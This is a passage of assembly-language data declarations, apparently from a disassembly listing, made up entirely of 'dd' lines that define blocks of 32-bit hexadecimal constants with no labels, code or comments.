		dd 0FAE97689h, 1017283Dh, 999FABDCh, 4D772A20h,	867BA912h
		dd 0D0742261h, 0B5271783h, 0CC33C002h, 4795D30Fh, 43173380h
		dd 0D70F2693h, 5B608C9Ah, 91FA4F40h, 964A0060h,	0CB639A20h
		dd 1CBAD247h, 0E21A5EE0h, 0B155F8F1h, 0A84E95C5h, 7B77ED89h
		dd 75BF0397h, 44B87CDAh, 4F674E67h, 0EC4163CCh,	8D146AC1h
		dd 0C329448Dh, 6B0C055Eh, 0D5218B89h, 890B2C87h, 0EAB78727h
		dd 0FC994510h, 0B852DC28h, 0D3FAA685h, 33298770h, 8353D88Eh
		dd 863EAAB0h, 5FC55959h, 0F786DAC1h, 11BAE744h,	0F35EC817h
		dd 0BF18D4B6h, 53190F5Dh, 2AC2CC99h, 0B9EA7509h, 5995B03Fh
		dd 3D9685F8h, 0F3A891FCh, 0F0E18100h, 2F7BC2E8h, 8E432EE8h
		dd 6C50210Eh, 35E331A5h, 0F506EE37h, 0AA9BEB08h, 538391C7h
		dd 2AF97F16h, 0C1052215h, 7ABB2AC2h, 0A0C36585h, 2C614515h
		dd 561E21ADh, 0E31E44B3h, 0C18FA7F9h, 7A61965Ch, 6FCBCBB6h
		dd 9B3D1312h, 3D947ADEh, 9BBD943Fh, 0AABA4EF2h,	3B5568AAh
		dd 71F62FF1h, 6E6658D8h, 0CAF3E8D3h, 50C41D8Ah,	0D6925F0Fh
		dd 0F56F2F0Eh, 7E184104h, 0AFAD0B72h, 50380DBAh, 94696757h
		dd 0C6C31FBFh, 421A00EAh, 53596BCAh, 0F45AA179h, 10219726h
		dd 75B7C4B6h, 0F4280C93h, 5AA0C6A1h, 0B16953C6h, 0C21B7450h
		dd 0A29F198Fh, 51CC3EDh, 0CB60A52Ah, 0BAEA1FD9h, 21485951h
		dd 0C8884A97h, 48C55B15h, 0AC28E5B4h, 0DC70AA7Fh, 7AE60FEFh
		dd 0CCC43581h, 0CFE49AD6h, 0F9257366h, 56023B87h, 842AE9B2h
		dd 4A9A1379h, 4D83DB41h, 7DD6EA34h, 0A712202Eh,	2786DCBEh
		dd 849D5371h, 7009BDD2h, 69509850h, 0EBEEB706h,	83778E63h
		dd 0CC8D714Fh, 0B1E95854h, 19AA1E21h, 0A2A4A557h, 0F2E0CD9h
		dd 0B28E8E67h, 7F4BC04Ah, 4FB5E587h, 0B859085Fh, 7038B22Ah
		dd 1A186F88h, 0E15CAFDh, 157B1DDCh, 294F5789h, 1750D1C8h
		dd 11A7BD82h, 9C6E6D10h, 7D874D13h, 28757968h, 4D64BEDFh
		dd 0A02C9767h, 5CF44E14h, 0A045CD3Dh, 0D32B2474h, 33DDA03Fh
		dd 0B60F681Fh, 8AF96372h, 0CD029435h, 679CF775h, 79312401h
		dd 0F6F1E59Fh, 0E3DB91E8h, 0ADFB1AFEh, 2D51428Dh, 0A05056DBh
		dd 65DF5442h, 9D906BEBh, 4D953AFEh, 0AA18C080h,	14AB0216h
		dd 0ED09B107h, 0E62D2D67h, 0C4ADD493h, 0EEC11445h, 0B808EC0Bh
		dd 0B672A999h, 33E37A80h, 4FBCD00Fh, 94F92E33h,	483150BCh
		dd 0F124F033h, 4517EEB4h, 0FD743DB3h, 39044D27h, 31154826h
		dd 27CDB96Dh, 0A77C1F3Fh, 4E99AB76h, 66E8BBBAh,	6094B8E2h
		dd 0A9ED8C1Dh, 8F2EA334h, 8AC9212Dh, 825B3AA2h,	0A26AF419h
		dd 0C0715D93h, 0E5474E97h, 43E2B57Ch, 0A10690E7h, 0D71D4B7Dh
		dd 2EA5ECC5h, 0BFF9DDE0h, 6A2FC9D4h, 526FEF8h, 0E00FC95Bh
		dd 0D29653E7h, 6C693676h, 7353AAFFh, 0D87E1A8Fh, 0F1338CC0h
		dd 0AABC428Fh, 423972C2h, 70233C0Bh, 0CC507BA8h, 652F5D78h
		dd 1F886684h, 0E9B899C0h, 6FF9BE8Dh, 0CDE7F3C0h, 10889DBAh
		dd 6CAAE460h, 0E538FFB2h, 0B56F9D21h, 0F6382627h, 0DACF0FC6h
		dd 9ED5D771h, 0E366667Ch, 380DDEFCh, 2828F2EDh,	0BCF31136h
		dd 0F3C8B5E3h, 631E1A9Bh, 6716F807h, 0C0470789h, 36186F2Fh
		dd 28ADFA3h, 0A35DF3F6h, 0CFAC0E7Ch, 0A273BF84h, 5A316258h
		dd 0FFE0A861h, 267A3B0Dh, 0F39DDF84h, 0B113C8F3h, 903CA416h
		dd 0FB4101B6h, 452C52E6h, 7A493B8Dh, 18934A07h,	0A5C870CAh
		dd 3E188C67h, 3651ECA0h, 3289EE21h, 66AF9CFCh, 5B77DC2Bh
		dd 4A6DAA06h, 667A9127h, 75E4CB18h, 613D842h, 0C24884F0h
		dd 6E0F7CEBh, 8BB3B317h, 860A12F5h, 0FE9FE66Dh,	0E73D5B42h
		dd 176DEE0h, 28A5CB5h, 0A5FD97Eh, 0FDBFEBB6h, 0DDA01DD6h
		dd 644A07C2h, 0ED5869B3h, 95A7537h, 9FB13D41h, 5C6B21E6h
		dd 810391E4h, 4C26FA2Eh, 0B25802C3h, 0BF3E4760h, 0FE896440h
		dd 0DA7FF42Fh, 933938B6h, 195DA4F7h, 36CEF638h,	3045AC88h
		dd 0E286ED0Dh, 44308CD2h, 4DCF09F6h, 5E83CF9Eh,	0E96FB9DAh
		dd 4405CEA2h, 0CF3F1F08h, 592F7615h, 0ADBEB7DFh, 85A72BD6h
		dd 7D9B42EBh, 0FC563093h, 1B29E05Dh, 0C0F7CF6h,	3209CCC3h
		dd 0DD7EAB27h, 0D50E09A8h, 8A31B3E9h, 89C48216h, 1E1148D7h
		dd 8506328Dh, 0D62B8017h, 7F6B5009h, 6A8160E0h,	7A51B1B6h
		dd 26A7ABC2h, 0F5D6DE52h, 0CBED3F33h, 9A758FFAh, 101A544Ch
		dd 247A2D30h, 4863376Eh, 7CD6623Fh, 0EC130066h,	9373E296h
		dd 55C631ECh, 50C6555Eh, 96B03DDBh, 0F55BBB6h, 0F390A068h
		dd 48A77670h, 1F03364Ch, 9B5CC9A0h, 7774D722h, 0A63D5D1Ch
		dd 0AF81FDEEh, 85CE1F63h, 26434908h, 6231C994h,	14BB15F5h
		dd 173BCACFh, 85C47399h, 2B44435Fh, 2C3D0954h, 0F4C941B0h
		dd 82188BBCh, 2330AAF2h, 0B8F5754Eh, 32E98F92h,	723C6FCCh
		dd 20AAD044h, 0A3B26F8Bh, 9E6CE7F6h, 0E64B1016h, 0C9C08308h
		dd 990C65AEh, 0FAE0BD15h, 4306B477h, 0D9A6313Bh, 98FC37DBh
		dd 39C3A178h, 0B046A387h, 0ACA76E46h, 5A8B7162h, 0F55364EEh
		dd 337D6F0h, 0F2C8FE8Bh, 2682BA27h, 0F332C278h,	6FFD3E78h
		dd 3AF01BA9h, 4FEBB0D6h, 0B0D52D7Ah, 0DD8A806Eh, 4157A87Eh
		dd 5E62EF68h, 0F552AE35h, 8C32C370h, 4C36E998h,	9A709E3h
		dd 60D006FCh, 3591A364h, 36F8784Eh, 635074B7h, 0D1FB4F56h
		dd 0AB93C6C6h, 45CFBAECh, 0A3751B96h, 436AE0F0h, 0F86F7C26h
		dd 2EABA51Bh, 5F81DFCCh, 0E6420BB1h, 0E935C7F6h, 0FDD34C00h
		dd 0F70F247Dh, 0EDF8D5B2h, 0B9634A2Bh, 9D92BD91h, 0C2DAEE9Eh
		dd 1DF803E5h, 0EC8CFFCEh, 5B61116Ah, 611A2701h,	8FD7CC6h
		dd 4D885D27h, 0E95BA153h, 0D81ADF5Ah, 0C7CF2BBBh, 0A8EA5821h
		dd 7DBA49BDh, 0AEF6746Ch, 0FCE6F529h, 0F549F245h, 11735773h
		dd 0D0264FBDh, 0F0FB7DBh, 65898697h, 0E4C7C04Ah, 3CB0464Ch
		dd 7E31F980h, 0E92D8276h, 2382950Dh, 0F9DF3CC5h, 5BC58836h
		dd 3BD73317h, 416FEFC1h, 0AA20B7B6h, 4E125729h,	0FCFD2299h
		dd 0CC09DB1Fh, 1E8E8283h, 1B32CF03h, 9060C4C5h,	4B5012B4h
		dd 2A9D2117h, 8F20EFF3h, 4D450744h, 0CE1FCC57h,	1378AF12h
		dd 60599353h, 47881CADh, 0CB1DBC59h, 72426B08h,	9C979DFCh
		dd 0D4CD98D6h, 652718D6h, 4D397829h, 40F43903h,	4E004566h
		dd 0B6BF7126h, 0A5BCB9FEh, 8D19513Dh, 0CF112AA8h, 118544F2h
		dd 20992936h, 35835B3h,	34A95501h, 0CA9D380Ch, 48FCCFFDh
		dd 83838DCh, 0CF694229h, 0ED5D8A4Ch, 0EDA7F088h, 0ADE94F8Eh
		dd 2E4A6C63h, 0C73DBFDDh, 0FC6ED857h, 53151CDDh, 2AD4A53Ch
		dd 48CD1B01h, 0DD4E323Ch
		dd 36EB1EB6h, 586035B3h, 0D709F4E3h, 761492D6h,	0A92A29BEh
		dd 0E8CB115Bh, 1E08CCEDh, 0D91F99E7h, 0CD668EE7h, 0C1452B2Dh
		dd 70F1596Bh, 9D92E337h, 5D3BB21Ch, 9346F53Ah, 0F49075A7h
		dd 0E7DD1392h, 308FB12Ch, 0F048A596h, 38AE1408h, 8E1E91BCh
		dd 0C2D1462Ch, 2E7C7F40h, 7B07DF2Ch, 631FC1F2h,	8EDB8A59h
		dd 5731163Bh, 0A5090DA2h, 70963332h, 0FBBA79AFh, 9E8CA00Fh
		dd 5EF42344h, 6FC5D978h, 0FBA7D539h, 0B8DFC81Dh, 0C6FEDFA6h
		dd 428A2D4Ch, 84091A0Dh, 0C09DAC09h, 6744FEF5h,	6C2A291Bh
		dd 0CCEB0FEDh, 8384BD28h, 0D829D01Dh, 5197BBE2h, 733FA7D0h
		dd 4B38C915h, 2BC741ADh, 548C1B1Eh, 0B2476610h,	0F036DF55h
		dd 0CAE65E87h, 0FC8FB71Ah, 0EB930503h, 7F1F317Fh, 0C414FD5Ah
		dd 0B0C79FCDh, 4C5100D1h, 8AB7D1C8h, 0C72A5F76h, 7338AE8Bh
		dd 0CC96C359h, 0DAF359C5h, 58C21146h, 0E84E0D7Bh, 0F22883BEh
		dd 98EEA479h, 0B777A482h, 1891CAC4h, 0F96DD901h, 8DB18245h
		dd 1E48CEFAh, 0D446B9B0h, 0E057941h, 619A4FC5h,	60D041F8h
		dd 0E46E6510h, 990342AAh, 44E4856Ch, 0D7DD779Ch, 770E4E80h
		dd 0F35DE5D4h, 0C47A1013h, 5198D553h, 39090D5Ah, 461CD120h
		dd 43FA8379h, 0F79022Ah, 9C6417B9h, 0A509B1Ah, 1100EFC0h
		dd 0CE981ED3h, 80695D90h, 0B1DAFFACh, 0AFA407A7h, 5FD6001Fh
		dd 779C83D0h, 21651AE8h, 21F07F58h, 548F2EC7h, 8A6E3766h
		dd 1A80CDA7h, 1B88AC87h, 0E20D9F43h, 4765591Bh,	29FFDB04h
		dd 5214716Eh, 0D7A1F9BAh, 0E50D7973h, 0F9B55EFCh, 315D942Ah
		dd 4DAE6DE5h, 8239070Dh, 5C1721D2h, 6C2A6B76h, 0F4A75BFBh
		dd 229556BCh, 6652138Ah, 6601C2DCh, 0CC82C9A8h,	325A621Bh
		dd 842FD7DBh, 0E0B1BF4Fh, 7B0635A1h, 0FAC2E2AFh, 0A3BB4134h
		dd 0ADABA669h, 4C9FF77Fh, 0AB1F11ADh, 38F31C95h, 7841D371h
		dd 55826EA0h, 8C31DE0h,	74EACECDh, 58BED92Fh, 0D48AD20Ch
		dd 2B428B09h, 37599B06h, 56460EDBh, 2FA0A43Ch, 46CEB94h
		dd 5674C44Eh, 0E47E6B83h, 0B085DF78h, 8C65A3E1h, 8F3CA44Dh
		dd 1A099BBEh, 8FEC7CBDh, 300322Ch, 3EE38BC5h, 417F4933h
		dd 25939096h, 6D613CE6h, 0FF69C47Fh, 0BF02DC21h, 0B238028Ch
		dd 981E04F8h, 2D76529Dh, 38B01A22h, 0B763A168h,	4C1868F8h
		dd 606047F9h, 0CC2D593Bh, 1AE79093h, 9D749765h,	0F6375905h
		dd 0BB890D44h, 8AE52734h, 5687472Ah, 12096F23h,	7B48AB1Ch
		dd 0C3FB7F01h, 331B1741h, 7CE6C017h, 0E8B2AD2Dh, 0EF208D39h
		dd 0EB5814DEh, 486856B3h, 0EB2998D5h, 79F867ADh, 9FAA7EAFh
		dd 0E5AE0968h, 0B4555C65h, 0BAB4AFA1h, 0C443582Fh, 527D8229h
		dd 11C0A935h, 16D76CE3h, 424EA9E9h, 1C60A222h, 214B47AAh
		dd 1D9FAFF9h, 88FA4947h, 0FF4B764Ch, 0A601FBFCh, 6A9EB9E1h
		dd 6EB63DB8h, 0FA674920h, 0DDAFC923h, 0A1E40D29h, 2E68017Dh
		dd 2FD33D5Ch, 4D81D1B0h, 7DCB32E3h, 0EA509652h,	0F4370F6Dh
		dd 0D9F68AC4h, 0DDD0F8F5h, 0E4FEDD3Ch, 964944F6h, 8EB09B95h
		dd 7A9B2B8Ch, 0AB2D771Ah, 534DD50Ch, 0A20B9E61h, 0D1FD0EBCh
		dd 0C84FE8A6h, 377C19F0h, 604F01EAh, 0FFB8C93Fh, 0BA412A66h
		dd 0DB6DC898h, 35F764E8h, 81E58F00h, 0C90A0B17h, 0C3BD2CE4h
		dd 0B1AA15B6h, 62CB38F2h, 877C5A4Bh, 68844D7h, 0D6E6880h
		dd 33D1EDDEh, 0FDDF92DFh, 8DCCCF5Fh, 0CD64D43Ch, 0D06C38D6h
		dd 0D24F4C21h, 0F3D9163Ch, 8B17DC02h, 0D8E9C195h, 0B7A34081h
		dd 6CC5D61Bh, 26551C57h, 0D0A09A02h, 9DA0EACFh,	0B70472EFh
		dd 6520A9B8h, 32327D77h, 6005ED5Ch, 66938E80h, 39505B3Bh
		dd 7FD47565h, 0CA7091AAh, 8D4F3C14h, 36609279h,	582C3969h
		dd 146A9A20h, 20CB703h,	248D9A4Bh, 8F9B00D5h, 2AD249EEh
		dd 1BB06CDDh, 15CDCC64h, 6B22ACDFh, 2CCD7F26h, 0A8F516BCh
		dd 87B00E44h, 58A0DB95h, 0BC18C429h, 18024F60h,	7E7964B8h
		dd 3D815A6Eh, 0A94FE90h, 0D541EEBCh, 50678E49h,	99B686F2h
		dd 9918020Dh, 6096F88Eh, 24614F2Ah, 810A61Eh, 0F38DDF78h
		dd 345E179Fh, 0BA92E3D8h, 0BFA03DD7h, 0E47E26C7h, 7A5966B9h
		dd 4CD02F74h, 0A7442062h, 2A1D1F76h, 82D98EB8h,	5C49882Bh
		dd 0ADF300A2h, 0FB150E68h, 437B2A0Dh, 0BCC45B04h, 483930A9h
		dd 0DBFE3CB6h, 1BA1AE77h, 303F05CFh, 0F5B64F2Dh, 1690D83h
		dd 4BE0A9F0h, 69BA4069h, 0EF764425h, 59D582C2h,	0FDD6ED3Bh
		dd 158B5997h, 0C35B40C1h, 0D0082BBAh, 0BD1B081Ch, 0CED7571Fh
		dd 0BBF9DD0Ah, 5B8A8C4Dh, 0CFDD8081h, 0FCE99569h, 37DC79B2h
		dd 79D821ECh, 5E07A460h, 934C09ADh, 0A5F344F6h,	465B4ACAh
		dd 1D450C2Ch, 951918C8h, 6AFD905Fh, 4ED7F13Eh, 0FA7191B8h
		dd 0CAA4F5D6h, 11576C01h, 4D805C98h, 0EE778D4h,	4EF4978Bh
		dd 0B97032CEh, 0F1A79FDEh, 0AF9F2B23h, 503F9086h, 0D0616EF1h
		dd 8DDB832Dh, 0E775F3C6h, 0A680CED2h, 76900DAEh, 42946A1Dh
		dd 5006692Ch, 802C947Bh, 0C28E233Ch, 0EDFC4E27h, 5C503CA9h
		dd 593AA6EEh, 8793F66Dh, 8BC8C713h, 0F880D342h,	0E152D641h
		dd 984AF5E3h, 25ACE366h, 9218B69Eh, 956A0BA6h, 7AD34C97h
		dd 875EFDBh, 31A321D0h,	92721343h, 0FB51CE7Fh, 0E783FBBEh
		dd 30B0F256h, 0B42BF547h, 7B6533A6h, 0D4410CFAh, 32254ABAh
		dd 576FADDh, 2F336F5Dh,	4701917Bh, 3627D5D4h, 8EB94DAAh
		dd 3B32C0B2h, 0F0A1F2B3h, 9F38EBDEh, 39DA5D84h,	65153983h
		dd 0C51F2C0h, 1150C728h, 208A515Ah, 2C721169h, 9D486F9Eh
		dd 0A0F94ACDh, 0A00B2F15h, 8ED9A284h, 7134F3E9h, 4FA2E583h
		dd 49679CD7h, 0C198333Bh, 0C39D98C0h, 6BC0AC1h,	63ED2EE9h
		dd 76EB18DFh, 22D1B952h, 0F318822Ch, 1C61CD85h,	91086822h
		dd 2CCEC848h, 0E307CF82h, 0BD4148F9h, 2161B194h, 2F990791h
		dd 0E581336Fh, 57508C7Ah, 1F39F84Dh, 0FDDC571Dh, 95601597h
		dd 0F0077F3Fh, 74080280h, 1F951366h, 37D6AD24h,	60BF577Eh
		dd 0F6800846h, 34F4E5Dh, 63811BC7h, 104AC854h, 6B062AC4h
		dd 0D86F7D51h, 0B404554Bh, 64D44531h, 77C3BB4Dh, 506D1EFBh
		dd 8573E9DAh, 43D5077Ah, 0C4E0C3D4h, 6B5A74F7h,	0F9E464E1h
		dd 0AC40D94h, 891BABF1h, 28507402h, 28D1D5EDh, 0CC0FABh
		dd 0DF2EFD68h, 0C954FBA5h, 0F7B01D88h, 0A0EAFB59h, 1292F2E7h
		dd 7223B3B2h, 0E509690Ah, 478B1C1Dh, 0A5C71FA4h, 0A9B2D3B8h
		dd 0DC1A22FBh, 0A51BD6B6h, 11D3C4CCh, 31760AC1h, 5D44325h
		dd 1A3421E9h, 94D03F29h, 88A6EB86h, 807BB767h, 12F62988h
		dd 0EB2DE2E6h, 8597F06h, 0CDA5DB2Eh, 381849D9h,	65063655h
		dd 0FA0B7AB1h, 520F9E54h, 9BE92C32h, 931C4D8Eh,	78C8F90Bh
		dd 0C5B5159Ah, 2C78B0BBh, 0E68FFBAFh, 742EF30Ch, 39A6C7F1h
		dd 0D2381C48h, 0A9C5016Eh, 2F9B5F8Ah, 0B28408B6h, 0CFC5808Dh
		dd 0F626FE5Dh, 956A68DCh, 0B1653C06h, 38951EA8h, 0DB711C78h
		dd 9CC7F139h, 0E9DDA648h, 3530EE47h, 0CE08D866h, 57B0BEF3h
		dd 8C065A30h, 0D6A2C50Bh, 1836F93h, 35FC7EBEh, 60D4CD62h
		dd 1CDF10ADh, 0BD6E93BFh, 0B055B409h, 0EFCCE128h, 783E62FAh
		dd 516BF16Ah, 861FAAD3h, 382ABE2Bh, 0BA4E565Ah,	60FC1872h
		dd 43360B21h, 0DCD877D6h, 738A1D39h, 0C328EBDDh, 57E69741h
		dd 0DBFAF6CEh, 7BF0981Ch, 68CC9F37h, 0D4F72C8h,	0F5747DE2h
		dd 0C47BAB0Bh, 8F2E4614h, 0B0166584h, 7519CB0h,	7D77A565h
		dd 7FE04941h, 0A93060FDh
		dd 220E7C7Ah, 0B4A563C1h, 901FAA00h, 0BFDDCDC9h, 6AF97812h
		dd 0C548E88Bh, 0E296080Eh, 86E7F151h, 6DFDA003h, 3B956670h
		dd 6EBB2B21h, 0F3623D7Eh, 0E81F202h, 4BEC4B9h, 8A3F05EEh
		dd 0A4395196h, 2D8E212Fh, 0EA7FE59Ah, 24049307h, 0BBD0D101h
		dd 5CB46199h, 0F3D70E82h, 5D7B9BD3h, 6DCE206Dh,	0E5DE10C0h
		dd 2E1028D0h, 7819A3E0h, 17B600AEh, 0CFAC9B3Ah,	0C740A0F4h
		dd 122ED5A9h, 0F930654Dh, 0B85E1786h, 201B3945h, 0B15DA40Dh
		dd 2FAB5FB7h, 8FD3466Fh, 0D1BF38B2h, 9AFBA1ADh,	0D0546BD8h
		dd 0F83472ACh, 0FFCFD451h, 97328B05h, 0D2F122EBh, 68DDE5DEh
		dd 922E5DD5h, 0ED638A07h, 0B84ED0ECh, 2B7C8CA1h, 0E42132C0h
		dd 0FE2B1120h, 0EA8D417Ch, 28AD48B0h, 7FC29C27h, 51F12599h
		dd 8EBDECEEh, 4B7FAD19h, 0C9B3C0BFh, 0CBBFD06h,	249B2500h
		dd 0A3ABA59h, 1DC8D540h, 0AE124FFBh, 472A81CBh,	0DBC9BCD1h
		dd 0D49A9A14h, 69EAE13Fh, 15B005B3h, 7B868C64h,	0D26C61A4h
		dd 293B802Dh, 27226F87h, 4ACAA447h, 0F827B4ECh,	0AD68F1D2h
		dd 0D2700596h, 7247E76Dh, 6E3F8E57h, 3B10DB54h,	58C70BCAh
		dd 0ABEC1B37h, 8DC46506h, 0D85A6A9Fh, 7ECCE68Eh, 8AB4EB48h
		dd 8D7A5D6h, 97225B32h,	700700C6h, 5A1EB0D7h, 0F1179E44h
		dd 6C79526h, 7A92BAEh, 84A69881h, 4582FF24h, 8177CBD8h
		dd 0B05ABF23h, 336F0E73h, 0E98E67F5h, 9A1628CEh, 0F032B744h
		dd 65DC71AEh, 63F9B1B3h, 0FB665AAFh, 1975535Bh,	3B576C44h
		dd 0D65C617Ch, 0AB4B66BFh, 0D0CD87B8h, 27576FE2h, 816B3F13h
		dd 6D057805h, 735734CEh, 6A28ABDh, 0E18EF56h, 2DC2D639h
		dd 0DE906BEEh, 470022E0h, 95D9375Ch, 85E0100Ch,	0D47882E9h
		dd 0F27A3650h, 0B941A53h, 0E6503927h, 0C114AF1Ch, 14953DC5h
		dd 63983F1Eh, 6A5F68C6h, 604770B4h, 0FCC4435Bh,	3B1DF153h
		dd 3460638Dh, 360FA0EAh, 0B01E1285h, 5787BED0h,	515F4A26h
		dd 9C1D530Ah, 0CEE1A201h, 7A8218F5h, 3FFE9A7Fh,	6BFFFA3Dh
		dd 0D51F9597h, 3C6CB164h, 4A01721Bh, 0CF8619C6h, 9B426D6Fh
		dd 2010C095h, 1F39B16h,	0C60D73E9h, 7D86207Bh, 0AABF332Bh
		dd 89502471h, 4AAD0EC9h, 0CBDB29F1h, 6383DAC2h,	0AD974D9Ch
		dd 566D7C51h, 99AE6EF3h, 8CE5926Dh, 465CCC97h, 0FE123A3Fh
		dd 0ED263697h, 407EA074h, 361D1D8h, 6B23304Bh, 0B58DDA15h
		dd 5489287h, 0DBBC46A8h, 0BB1D52DEh, 0A77971D3h, 39E6C6CBh
		dd 0D90BA789h, 2F769F16h, 0BF837BA6h, 0F412A66Dh, 0AF38756Bh
		dd 0A81640F1h, 841A83F5h, 0E46567F3h, 798C5177h, 73B4F0C4h
		dd 658F33BCh, 0EEBF7AC0h, 0A5C430ECh, 0F0AAB33Ah, 2F49C306h
		dd 8713D296h, 0BF9E1213h, 8131D3F9h, 88F19F37h,	0AEB8ECB3h
		dd 44465038h, 745CF6D3h, 7ED0A5D4h, 8C845215h, 0DAA76B93h
		dd 1B0A64B6h, 0EC60A10Ch, 5E0993ACh, 2B4C1173h,	6BA320DEh
		dd 386A9569h, 19B7DD08h, 3CC48D81h, 0B21DD275h,	493DE4E2h
		dd 2EA20A3Bh, 1166E656h, 73C3E8E5h, 1FAE2564h, 0A0162760h
		dd 81DD8FF2h, 31190838h, 194ADD01h, 9827CAF6h, 86C5C660h
		dd 58DD074Fh, 59EBAD1Dh, 0CE54F9A6h, 0C7A303CDh, 6A6918DCh
		dd 40CEFDBDh, 5AA78891h, 0F3424A9Dh, 0B723F407h, 4340220Eh
		dd 479388ECh, 4E1D0050h, 0A3B46110h, 3C56F980h,	0A4199E54h
		dd 0EB905E56h, 12427BADh, 25DA3DC4h, 5AF95413h,	0E40C65A2h
		dd 0B7F73521h, 2D067EB5h, 0FF73C56h, 2CF94110h,	0C7B5EACEh
		dd 0C07356A5h, 6E911454h, 8F86636Dh, 1FB85845h,	22053421h
		dd 8CA6D4ADh, 814571B9h, 0C93CED85h, 9BDC59F1h,	7D735948h
		dd 57E09064h, 9D6A852Ah, 30863CDFh, 0E5BA17B8h,	0B054F21Bh
		dd 0B15F9A5Ch, 538529A4h, 0F64C8FB9h, 413406F8h, 0FBDE5198h
		dd 245BDEB7h, 3D89E9h, 60455D85h, 0A8264740h, 8F75B4B3h
		dd 0EF0C0A29h, 2E0C9CC2h, 97430E4Bh, 0D2DA6ABBh, 967F1161h
		dd 16DBA616h, 0FBF16688h, 0DCDEA424h, 6B53D2EAh, 9AC5EF09h
		dd 5D38E67Eh, 31833D7Dh, 0C9F59EE0h, 87C85E68h,	5439A88Bh
		dd 0DCA4D408h, 745A5B41h, 69935B7Ch, 9A7626A4h,	0E93381Ah
		dd 6CB6233Bh, 51416D74h, 25E2367h, 0A6148C26h, 377FCA66h
		dd 0A066159Eh, 62EF526Eh, 94BB355h, 1A3D9C97h, 208E1938h
		dd 78E0481Ch, 82132792h, 0C1548B76h, 0DC7DD5FAh, 5EDB2533h
		dd 0FED129BCh, 7DC45222h, 5269650Eh, 717A6DD4h,	0A0D712D6h
		dd 789B1C9h, 0B2619935h, 183F6F62h, 6612AE3Fh, 807D33ABh
		dd 8B9DEEF3h, 0C767BD13h, 70EC842Eh, 0D341BF51h, 59A2733Dh
		dd 0F03C607Ch, 51D7E80Eh, 0E1B682CEh, 3D5056A6h, 737E0EC5h
		dd 85E9C02Ah, 4ABF89E9h, 6EBD4E1Eh, 0ECE5154Bh,	0B61AB6F2h
		dd 0AB78DC50h, 4B1A1C02h, 53E54F6Ch, 2824F0F0h,	0D2F2EE5Ah
		dd 91354A0Ch, 0BA206640h, 0A3C919D8h, 7D8793F7h, 0A280C767h
		dd 8FBFD9A0h, 85F8E8A9h, 4401F260h, 19C79BA6h, 76376204h
		dd 3DE983A4h, 16F9BD79h, 8E45E9E0h, 51980933h, 7AD9146Bh
		dd 62D35A41h, 22C42A99h, 0BC5F8DD8h, 4AC524E8h,	7DE42CD9h
		dd 0E856E17Ch, 831C22B3h, 0C4169706h, 2ECDC93Ah, 0B8466A67h
		dd 0B0553242h, 0D340824Bh, 2486EC70h, 4F1B2913h, 0B2B9365Fh
		dd 0F00345FAh, 0E0A63E51h, 0A5105F5h, 1B30C642h, 9324C1DBh
		dd 0E7F4C008h, 81780167h, 3FAAE6A0h, 0FFBF12D6h, 583FFD20h
		dd 91019E06h, 90AABh, 225B520Ch, 9FA59D2Dh, 94FBB649h
		dd 0CB695118h, 8CB3487Ch, 0B425C4Bh, 0E4A8D261h, 4772985Ah
		dd 0E6DAA6ABh, 87B46DF9h, 0C55681ECh, 0B91C327Bh, 0C9C69EE2h
		dd 2C5DCD4Ch, 3976685Ch, 70153359h, 339882C9h, 9457ECB2h
		dd 0F7AD29F3h, 9E8836AFh, 0E278C502h, 0E9787EADh, 0E0CE5F7h
		dd 9D0AD643h, 0DC8549DBh, 0C4748408h, 90086367h, 3722F7A0h
		dd 0FB621A56h, 5E61F8E0h, 96309C66h, 7108B9Bh, 25AF1294h
		dd 98B3FDE1h, 93BDA6ABh, 4CA9D9E9h, 0CBBA8C84h,	2CA7BEB7h
		dd 0F3D2E363h, 0F09990DBh, 0A1DC3A6Bh, 0A85FA819h, 0D650269Ch
		dd 0B0F783C3h, 0CDC046BEh, 2AB6716Eh, 0BEF0BE4Dh, 379E8C51h
		dd 14DE5745h, 838C53F4h, 60E1FC52h, 0D98589FCh,	5B910AAh
		dd 0C621C1F9h, 3540B0A1h, 105C89E8h, 1E3E5C8Ch,	25AD13A2h
		dd 2053A630h, 0CF2F120Ah, 571DAB01h, 0A421104Ah, 3B9E20B1h
		dd 0FD1B5E71h, 8873ADE3h, 6230285Bh, 3EDC79F0h,	0B6B86C4Bh
		dd 6632DBD6h, 967BE31Fh, 0DE55F6CFh, 0E219878Dh, 28C6BFC6h
		dd 0EC12EA4Eh, 30A4C7B1h, 1F779354h, 365ACE74h,	87BB3585h
		dd 44245CBBh, 9AAE9AABh, 0AEFCDFBEh, 6E451636h,	0D2351E30h
		dd 609E98CCh, 29831832h, 0D4134435h, 3CA972C3h,	945728D9h
		dd 58D2EC14h, 2E7CA6Eh,	37B2BA52h, 7887A43Bh, 1031EC19h
		dd 8BC8CDC6h, 287B31F3h, 74AA56D0h, 0CC7A2833h,	4C976A33h
		dd 701818C4h, 0C9614FF0h, 9417421Dh, 2EC0377Ch,	4B3E04F9h
		dd 256F2695h, 6664474Dh, 7638468Ch, 0A6A38257h,	608CA848h
		dd 21ABCBCCh, 0C6DFFB97h, 75044A19h, 4C3BFDB5h,	96CEDE96h
		dd 0C4D09E9Ah, 0B54AB519h, 9E2BAD21h, 1BA91945h, 44EACC8Ch
		dd 0E5B92618h, 1974DD3Bh, 83196D66h, 0CE9992D6h, 6C228E96h
		dd 1C04A6D9h, 0EF5A6AEAh, 39EE993Eh, 78C30437h,	2D4357B2h
		dd 31AAA080h, 0FFE9BEEBh, 7DB3AD28h, 0E61DDDAFh, 0E0B49AA4h
		dd 6B73D447h, 0E17EB21Bh, 0B2C37066h, 0D1C21AB5h, 516357C8h
		dd 0E34F08F5h, 0A75319E7h
		dd 0ABA329B4h, 0C43303FDh, 1522C19Fh, 0E3447401h, 53486B45h
		dd 0DD6449FCh, 2F8D74Eh, 0A98A1B6Ah, 0F4E2FE77h, 0CF6E710Eh
		dd 0A01F0F40h, 373FC187h, 90BBD8A0h, 475055AFh,	28B9537Dh
		dd 0FA12170Fh, 4011B2C0h, 824C046Dh, 95D2B2E1h,	9F8AB01Eh
		dd 8811D97h, 13DB972Eh,	37E9B188h, 30B487Bh, 0B142DDCFh
		dd 50EB0E10h, 80A2234Eh, 3822B84Ch, 14D1BEE6h, 0BF2BE29Eh
		dd 5008D319h, 9E5F054Ah, 47301F6Bh, 8E708504h, 0F1389C74h
		dd 4D4D9541h, 68EBFBD9h, 0F0B80036h, 8886F33Dh,	6C010946h
		dd 0D2324779h, 602BB59Dh, 6B12D29Bh, 0D226F0F9h, 26704080h
		dd 706208E4h, 0C78EB5D1h, 0F1CF80BBh, 0C503FBDFh, 0CC7E20AFh
